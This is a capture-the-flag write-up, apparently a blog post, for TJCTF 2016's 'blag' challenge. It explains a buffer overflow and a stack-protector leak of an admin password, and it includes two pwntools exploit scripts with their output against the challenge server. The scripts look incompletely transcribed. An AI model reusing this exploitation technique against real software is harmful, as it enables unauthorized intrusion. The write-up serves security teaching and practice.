English [TJCTF 2016] [EXPLOIT 175 – blag] Write Up


Check out my new blog platform! `nc p.tjctf.org 8017`
blag.zip (contains blag.c and the binary)


This challenge was part of the TJCTF, we are given the source code and the binary.
There is not much stuff to say about the sources except that this is a simple blog program that will allow us to read and add posts.

As on any binary/RE, we always start with:

laxa:~:13:03:00$ checksec --file  blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42
laxa:~:13:03:07$ file blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42 
blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, not stripped

There is a few things to note from the source code:

  • There is an admin password which is stored in the .bss segment, this segment isn’t affected by the ASLR, it’s address is 0x804b080
  • We have an overflow in the function addpost in the body part. The structure holding the data is 320 byte long but the temporary buffer is only 32 bytes long
  • We also see that there is a file holding previous blog posts and that is loaded when the program is started, if we look closely, we can guess that the flag is located in this file:
    laxa:~:13:00:30$ nc p.tjctf.org 8017
    list: List all posts.
    read: Read post.
    add: Add post.
    auth: Authenticate as admin.
    quit: Exactly what it says on the tin.
    > list
    Post #0: The Flag by Admin
    Post #1: doot doot by mr skeltal
    Post #2: here come dat boi!!!!!! by dat boi
    > read
    Admin only!
  • The binary is protected by SSP, it might be possible to use this kind of vulnerability which in fact would allow us to leak the password held in the .bss segment

So, we will try to do that, to begin with, we will need to find the correct offset where we will rewrite the ptr that the _stack_fail_function will print.

Using this code we can see that we rewrite the argv[0] pointer at offset 295, we need to use an offset of 296 to exactly overwrite this pointer.


from pwn import *

for offset in range(200, 300):
    p = process("./blag")
    p.proc.stderr = p.proc.stdout
    p.sendline("add") # add a note                                                                                                                                                                                                                                                
    p.sendline("a") # Author                                                                                                                                                                                                                                                      
    p.sendline("b") # Title                                                                                                                                                                                                                                                       
    p.sendline("Z" * offset) # overflow here on body                                                                                                                                                                                                                              
    ret = p.recvall()                                                                                                                                                                                                                                                             

And now we can use another script to leak the password and then recover the post #0 which hopefully hold the flag:


from pwn import *
import struct

def p32(addr):
    return struct.pack("<I", addr)

overflow = 296 # overflow to rewrite the ssp pointer

#p = process("./blag")
p = remote("p.tjctf.org", 8017)
p.sendline("a") # author
p.sendline("b") # title
boom = "Z" * overflow + p32(0x804b080) # address of admin password in .bss
p.sendline(boom) # body = overflow
p.recvuntil("***: ")
password = p.recvline().split(" ")[0]
log.info("Got password: " + password)

p = remote("p.tjctf.org", 8017)
p.recvuntil("The Flag by Admin:")
flag = p.recvline()
log.info("flag is: " + flag)

The execution gives us:

laxa:~:13:16:28$ ./blag.py
[+] Opening connection to p.tjctf.org on port 8017: Done
[*] Got password: s00pers3cr3tpassw0rdy0
[*] Closed connection to p.tjctf.org port 8017
[+] Opening connection to p.tjctf.org on port 8017: Done
[*] flag is: tjctf{I_h3aRd_ab0u7_1t_oN_th3_1nterBlag!}
[*] Closed connection to p.tjctf.org port 8017

Flag is: tjctf{I_h3aRd_ab0u7_1t_oN_th3_1nterBlag!}

Leave a Reply

Your email address will not be published. Required fields are marked *